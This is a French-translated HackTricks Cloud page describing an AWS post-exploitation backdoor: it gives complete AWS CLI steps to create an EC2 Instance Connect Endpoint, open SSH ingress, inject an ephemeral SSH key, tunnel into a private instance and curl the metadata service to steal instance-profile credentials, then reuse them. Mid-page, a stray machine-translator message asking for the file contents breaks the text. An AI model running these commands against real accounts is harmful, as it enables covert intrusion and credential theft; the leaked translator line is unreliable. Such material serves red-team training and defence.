AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Abuser de EC2 Instance Connect Endpoint (EIC Endpoint) pour obtenir un accÚs SSH entrant aux instances EC2 privées (sans IP publique/bastion) en :
- Créant un EIC Endpoint dans le subnet cible
- Autorisant le SSH entrant sur le SG cible depuis le SG de lâEIC Endpoint
- Injectant une clé publique SSH éphémÚre (valide ~60 secondes) avec
ec2-instance-connect:SendSSHPublicKey - Ouvrant un tunnel EIC et pivotant vers lâinstance pour voler les identifiants de lâinstance profile depuis IMDS
Impact : chemin dâaccĂšs distant discret vers des instances EC2 privĂ©es qui contourne les bastions et les restrictions dâIP publique. Lâattaquant peut assumer lâinstance profile et opĂ©rer dans le compte.
Prérequis
- Permissions pour :
ec2:CreateInstanceConnectEndpoint,ec2:Describe*,ec2:AuthorizeSecurityGroupIngressec2-instance-connect:SendSSHPublicKey,ec2-instance-connect:OpenTunnel- Instance Linux cible avec serveur SSH et EC2 Instance Connect activé (Amazon Linux 2 ou Ubuntu 20.04+). Utilisateurs par défaut :
ec2-user(AL2) ouubuntu(Ubuntu).
Variables
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user
Créer un endpoint EIC
aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done
Autoriser le trafic provenant de lâEIC Endpoint vers lâinstance cible
aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
Injecter une clé SSH éphémÚre et ouvrir un tunnel
# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''
# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"
# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2
# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
Preuve de Post-exploitation (steal instance profile credentials)
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
Je nâai pas reçu le contenu du fichier. Veuillez coller le contenu de src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md que vous voulez que je traduise (je conserverai la syntaxe Markdown/HTML, les tags, chemins et mots rĂ©servĂ©s comme indiquĂ©).
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}
Utilisez les creds volĂ©s localement pour vĂ©rifier lâidentitĂ© :
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
Nettoyage
# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
Remarques
- La clĂ© SSH injectĂ©e nâest valide que pour ~60 seconds ; envoyez la clĂ© juste avant dâouvrir le tunnel/SSH.
OS_USERdoit correspondre Ă lâAMI (par ex.,ubuntupour Ubuntu,ec2-userpour Amazon Linux 2). [!TIP] Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

